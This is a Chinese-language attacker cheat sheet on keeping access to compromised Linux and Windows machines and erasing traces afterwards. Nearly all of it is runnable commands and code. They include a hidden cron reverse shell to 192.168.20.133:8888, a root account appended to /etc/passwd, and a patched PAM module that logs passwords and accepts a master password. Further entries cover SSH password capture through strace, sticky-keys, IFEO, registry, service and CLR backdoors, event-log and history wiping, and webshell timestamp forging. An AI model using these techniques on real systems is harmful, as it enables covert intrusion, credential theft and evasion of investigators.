权限维持

Linux

一句话添加超级账户

echo 'username:x:0:0::/:/bin/bash'>>/etc/passwd
echo 'username:password'|chpasswd

SSH软连接

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=[port]
然后通过port来连接ssh

ssh公私钥免密登录

在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。
ssh-keygen -t rsa
将id_rsa.pub中的内容附加到服务器的/root/.ssh/authorized_keys中

修改/etc/ssh/sshd_config中的

  • RSAAuthentication yes
  • PubkeyAuthentication yes
  • PermitRootLogin yes
  • StrictModes no

修改文件权限

  • chmod 600 ~/.ssh/authorized_keys
  • chmod 700 ~/.ssh

保护文件

chattr +i evil.php 锁定文件
chattr -i evil.php 解除锁定

定时任务

每分钟执行一次
*/1 * * * * root /etc/evil.sh

//写入crontab
(crontab -l;echo '表达式')|crontab -
//隐藏crontab内容
//cat默认支持\r回车 \n换行 \f换页,这样导致cat不使用-A参数时可以隐藏一些文本内容
(crontab -l;printf "* * * * * bash -i >& /dev/tcp/192.168.20.133/8888  0>&1;\rno crontab for `whoami`%100c\n")|crontab -

strace后门

strace可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间
通过strace来获取ssh登录的密码

ps -ef | grep sshd    
strace -f -p 4241 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048 //父进程PID 4241

alias后门

alias用于设置命令的别名
将ssh设置成strace的别名来获取ssh登录密码

alias ssh='strace -o tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s 2048 ssh'

PAM后门

pam_unix

PAM使用配置 /etc/pam.d/ 下的文件来管理认证方式,应用程序调用相应的配置文件,以加载动态库的形式调用 /lib/security下的模块。
PAM配置可分为四个参数: 模块类型、控制标记、模块路径、模块参数,例如: session required pam_selinux.so open
上面提到的 sshd 软链接后门利用的 PAM 机制达到任意密码登录,还有一种方式是键盘记录。原理主要是通过 pam_unix_auth.c 打补丁的方式潜入到正常的 pam 模块中,以此来记录管理员的帐号密码。
利用步骤:复制patch到源代码目录 >>> 打patch >>> 编译 >>> 将生成的pam_uninx.so文件覆盖到/lib/secruity/pam_unix.so下 >>> 修改文件属性 >>> 建立密码保存文件,并设置好相关的权限 >>> 清理日志 >>> ok

//查看pam版本
apt list --installed | grep pam
rpm –aq | grep pam
//在http://www.linux-pam.org/下载对应版本源码
//修改pam_unix_auth.c中关于用户认证的部分
/* verify the password of this user */
        retval = _unix_verify_password(pamh, name, p, ctrl);
        if(strcmp("[passwd]",p)==0){return PAM_SUCCESS;}
        if(retval == PAM_SUCCESS){
        FILE * fp;
        fp = fopen("/bin/.sshlog", "a");
        fprintf(fp, "%s : %s\n", name, p);
        fclose(fp);
        }
//cd到源码根目录编译
./configure && make
//查找文件路径
find / -name "pam_unix.so"
//最后将编译的pam_unix.so替换原文件

pam_permit

在认证中存在pam_permit.so模块,而pam_permit模块任何时候都返回认证成功
当我们运行shell脚本时候系统将顺序尝试在PATH环境变量的所有目录中查找该命令。如果两个不同的PATH条目中有两个匹配的可执行文件,则将使用第一个而不触发任何警告。因此,如果我们在第一个PATH条目中添加了一个恶意二进制文件,而合法的二进制文件则位于PATH的后面,则使用恶意二进制文件代替原始二进制文件。
将优先级更高的文件修改成wrapper script,比如uname

#!/bin/sh
mount --bind /lib/*/*/pam_permit.so /lib/*/*/pam_unix.so 2>/dev/null
/bin/uname $*

利用mount把pam_permit.so挂载到pam_unix.so上,这样所有认证都将返回成功

动态链路库劫持

环境变量LD_PRELOAD以及配置文件/etc/ld.so.preload可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库,只要加载我们的恶意so文件,就能劫持其他函数。
fopen为例子,编写一个包装

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
FILE *fopen(const char *path, const char *mode) {
    printf("In our own fopen, opening %s\n", path);//恶意payload部分
    FILE *(*original_fopen)(const char*, const char*);
    original_fopen = dlsym(RTLD_NEXT, "fopen");
    return (*original_fopen)(path, mode);
}

然后编译成so
gcc -Wall -fPIC -shared -o myfopen.so myfopen.c -ldl

最后去修改LD_PRELOAD,然后fopen实际上就是刚刚替换掉的新fopen

windows

隐藏账户

先添加一个隐藏的管理员账户

net user test$ 123456 /add
net localgroup administrators test$ /add

现在net user看不到test,但是用户组管理还是看得到 打开注册表(HKEY_LOCAL_MACHINE\SAM\SAM) 修改 SAM 权限,赋予 adminitrators 完全控制权限。 将 Administrator 用户对应项的 F 数据值复制到 test 用户对应项的 F 数据值。
将 test 和所对应项 000003F1 导出,分别命名为 test.reg 和 1.reg 删除 test 用户,将 test.reg 和 1.reg 导入注册表,然后就只能在注册表里面看到这个用户了

粘滞键后门

粘滞键位置:c:\windows\system32\sethc.exe
用一个其他的可执行文件把这个文件替换掉,比如cmd,然后在登录界面连按五下shift就可以运行这个程序

logon scripts 后门

Windows 登录脚本,当用户登录时触发,Logon Scripts 能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。

REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\666.exe"    #创建键为:UserInitMprLogonScript,其键值为我们要启动的程序路径

镜像劫持

映像劫持是利用Windows的IFEO(Image File Execution Options)功能来实现的。IFEO实际上是Windows的一项正常功能,主要用于调试程序,其初衷是在程序启动的时候开启调试器来调试程序,这样一来可以在调试器中观察程序在难以重现的环境中的行为。例如,某个程序在随用户登录自动启动时会出错,但在登录后手动启动时却一切正常,这就可以通过IFEO设置一个调试器,无论程序何时启动,都会开启这个调试器对其进行调试,以便找出问题。
注册表位置:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\[劫持目标]" /v "Debugger" /t REG_SZ /d "[恶意程序的绝对路径]" /f

注册表自启动后门

注册表位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test1 /t REG_SZ /d "C:\666.exe"

位置二:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
修改键 Userinit 的值,重启就会自动运行程序。

屏幕保护程序后门

注册表位置:HKEY_CURRENT_USER\Control Panel\Desktop

SCRNSAVE.EXE为默认的屏保程序,我们可将此键值设置为我们要利用的恶意程序。在本质上,.scr文件是可执行文件。
ScreenSaveActive表示屏保状态,1为启动,0为关闭。
ScreenSaverTimeout表示屏幕保护程序启动前系统的空闲事件,单位为秒,默认为900(15分钟)。
ScreenSaverIsSecure默认参数为0,标识不需要密码即可解锁。

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "c:\666.exe" /f

计划任务后门

schtasks /Create /tn Updater /tr c:\666.exe /sc minute /mo 5  #每5分钟自动执行666.exe

服务自启动后门

sc create test binpath= c:\666.exe    (注意等号后面有空格)#创建服务
sc config test start= auto    #设置服务为自动启动
net start test                #启动服务

组策略设置脚本启动

打开组策略配置脚本(启动 / 关机),添加脚本,关机就会自动执行脚本
image-1666580840705
image-1666580850971

bitadmin

常用命令:
bitsadmin /create [type] DisplayName //创建一个任务
bitsadmin /cancel <Job> //删除一个任务
bitsadmin /list /allusers /verbose //列出所有任务
bitsadmin /AddFile <Job> <RemoteURL> <LocalName> //给任务test添加一个下载文件
bitsadmin /SetNotifyCmdLine <Job> <ProgramName> [ProgramParameters] //设置在任务完成传输时或任务进入状态时将运行的命令行命令。
bitsadmin /Resume <Job> //激活传输队列中的新任务或挂起的任务。
bitsadmin /cancel <Job> //删除某个任务
bitsadmin /reset /allusers //删除所有任务
bitsadmin /complete <Job> //完成某个任务



bitsadmin /create test   //创建任务test
bitsadmin /addfile test c:\windows\system32\calc.exe c:\Users\ndsec\Desktop\calc.exe
bitsadmin /SetNotifyCmdLine test cmd.exe "cmd.exe /c calc.exe"
bitsadmin /resume test

DLL劫持

DLL加载顺序
Windows xp sp2之前:

  1. 进程对应的应用程序所在目录;
  2. 当前目录(Current Directory);
  3. 系统目录(通过 GetSystemDirectory 获取);
  4. 16位系统目录;
  5. Windows目录(通过 GetWindowsDirectory 获取);
  6. PATH环境变量中的各个目录;

Windows xp sp2之后:
Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):
默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其键值为1

  1. 进程对应的应用程序所在目录(可理解为程序安装目录比如C:\ProgramFiles\uTorrent)
  2. 系统目录(即%windir%system32);
  3. 16位系统目录(即%windir%system);
  4. Windows目录(即%windir%);
  5. 当前目录(运行的某个文件所在目录,比如C:\Documents and Settings\Administrator\Desktop\test);
  6. PATH环境变量中的各个目录;

win7以上版本:
系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从exe自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

将dll转成cpp,然后在源码中插入payload,再生成新的dll文件替换即可

CLR 劫持

修改注册表:HKEY_CURRENT_USER\Software\Classes\CLSID\

修改注册表
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1234-1234-1234-111111111111}\InProcServer32" /VE /T REG_SZ /D "C:\test.dll" /F
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1234-1234-1234-111111111111}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F

修改全局变量
SETX COR_ENABLE_PROFILING 1 /M
SETX COR_PROFILER {11111111-1234-1234-1234-111111111111} /M

然后运行powershell就能直接触发

痕迹清除

Linux

清除history历史记录

  • set +o history开启无痕shell
  • sed -i "100,$d" .bash_history删除100行后的记录
  • rm ~/.bash_history

修改时间戳

比如参考 index.php 的时间,再赋给 webshell.php,两个文件的时间就一样了。
利用方法
touch -r index.php webshell.php
或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。
touch -t 1401021042.30 webshell.php

删除lastlog信息

删除lastlog、wtmp、btmp

隐身ssh

ssh -T username@host /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash -if

windows

日志文件

类型默认路径
系统日志C:\Windows\System32\Winevt\Logs\System.evtx
安全日志C:\Windows\System32\Winevt\Logs\Security.evtx
应用日志C:\Windows\System32\Winevt\Logs\Application.evtx

全部清除

eventvwr事件查看器,进入windows日志,ui右侧有个清除日志
powershell清除

PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"
Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}

远程桌面记录

清除脚本

@echo off
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\
attrib Default.rdp -s -h
del Default.rdp

工具

Invoke-Phant0m

该脚本遍历事件日志服务进程(专用svchost.exe)的线程堆栈,并标识事件日志线程以杀死事件日志服务线程。因此,系统将无法收集日志,同时事件日志服务似乎正在运行。
github项目地址:https://github.com/hlldz/Invoke-Phant0m

EventCleaner

该工具主要用于从Windows事件日志中删除指定的记录。
github项目地址:https://github.com/QAX-A-Team/EventCleaner